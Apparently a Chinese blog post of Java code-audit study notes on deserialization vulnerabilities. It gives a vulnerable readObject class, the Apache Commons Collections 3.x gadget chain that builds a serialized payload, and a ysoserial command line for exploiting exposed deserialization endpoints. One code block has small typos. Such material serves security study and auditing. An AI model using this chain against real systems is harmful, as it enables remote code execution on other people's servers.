java代码审计系列二:反序列化漏洞的分析
Java反序列化学习笔记
1.Java反序列化漏洞的简化
上一篇已经提到,序列化的过程中重写了readObject方法,会调用java的反射机制,而反序列化漏洞就在于接受外部输入的序列化对象,而不对其做限制。我们来弹个计算器。
这里利用地是ObjectInputStream类地readObject方法,该方法最终会调用method.invoke函数,将外部输入对象重写地readObject方法激活,因此形成漏洞。
少部分地文章中会提到反序列化的本质是重写readObject方法中,这没有触及到本质。仅是ObjectInputStream中出现了readObject方法,后续学习过程中,可以接触到Apache.Common.Collections中的TransformedMap和InvokerTransformer类,当然也需要readObject方法来触发。
写个有漏洞的序列化类
public class Employee implements Serializable { public String name; public String identify; public void mailCheck(){ System.out.println("this is the" +this.identify+"of our company"); } private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException { Runtime.getRuntime().exec("calc");//注意windows系统里弹计算器的命令直接输calc即可,linux下换成open /Applications/Calculator.app/ } }
写个主类
import java.io.*; public class SerializeDemo { public static void main(String[] args) { Employee e = new Employee(); e.name = "员工甲"; e.identify = "General staff"; try{ //open a file stream FileOutputStream fileOut = new FileOutputStream("d:\\task\\employee1.db"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(e); out.close(); fileOut.close(); System.out.println("serialized data is saved in d:\\task\\employee1.db"); }catch (IOException i){ i.printStackTrace(); } //反序列化的过程 Employee m = null; try { // 打开一个文件输入流 FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db"); // 建立对象输入流 ObjectInputStream in = new ObjectInputStream(fileIn); // 读取对象 m = (Employee) in.readObject(); in.close(); fileIn.close(); }catch(IOException i) { i.printStackTrace(); return; }catch(ClassNotFoundException c) { System.out.println("Employee class not found"); c.printStackTrace(); return; } } }
成功弹出计算器
总结
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。常见的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行
WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度。
案例
利用Apache Commons Collections来实现远程代码执行
以下来自:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
1. Commons Collections 漏洞代码分析
Map类是存储键值对的数据结构,Apache Commons Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示:
public interface Transformer { public Object transform(Object input); }
当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); /*重点啊!!!!input是外部传进来的,而且可以反射调用它的方法啊*/ return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
2.Payload构造
只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如setValue()函数),即可触发我们构造的Transformer。
我们还是来弹个计算器康康吧!!!
记住,我们的最终目标是利用
InvokerTransformer(String methodName, Class[] paramTypes, Object[] args).transform(Object input)
执行
Runtime.getRuntime().exec("calc");
测试代码如下:
注意
Apache Commons Collections的版本号<=3.2.1
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import java.util.Map; public class SerializeDemo { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); } }
当上面的代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
首先通过ConstantTransformer获得Runtime类,
进一步通过反射调用getMethod找到invoke函数,最后再运行命令calc.exe。
但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,如下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; /*关键来了*/ private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } ...
更令人惊喜的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数,如下所示:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此处触发一些列的Transformer memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
因此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下:
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); }
以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。
我们可以直接使用工具ysoserial来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让readObject()实现任意命令执行。
ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的,而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。
审计方法
1.首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。
我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。
2.确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),
如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
- 点赞
- 收藏
- 分享
- 文章举报
- Java反序列化漏洞分析
- Java反序列化漏洞分析
- Lib之过?Java反序列化漏洞通用利用分析
- Java反序列化漏洞通用利用分析
- JAVA Apache-CommonsCollections 序列化RCE漏洞分析
- Java反序列化漏洞通用利用分析
- Java反序列化漏洞通用利用分析
- JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用
- Lib之过?Java反序列化漏洞通用利用分析
- Lib之过?Java反序列化漏洞通用利用分析
- Java反序列化漏洞通用利用分析
- Java反序列化漏洞通用利用分析
- JAVA反序列化之Apache Commons Collections反序列化漏洞分析
- Commons Collections Java反序列化漏洞深入分析
- Java反序列化漏洞分析
- Lib之过?Java反序列化漏洞通用利用分析
- common-collections中Java反序列化漏洞导致的RCE原理分析
- (Java2D 学习笔记系列) (一)一个简单的图像填充实例及其分析理解
- Java集合系列之ArrayList源码分析
- Java虚拟机系列(四)Java内存分析概述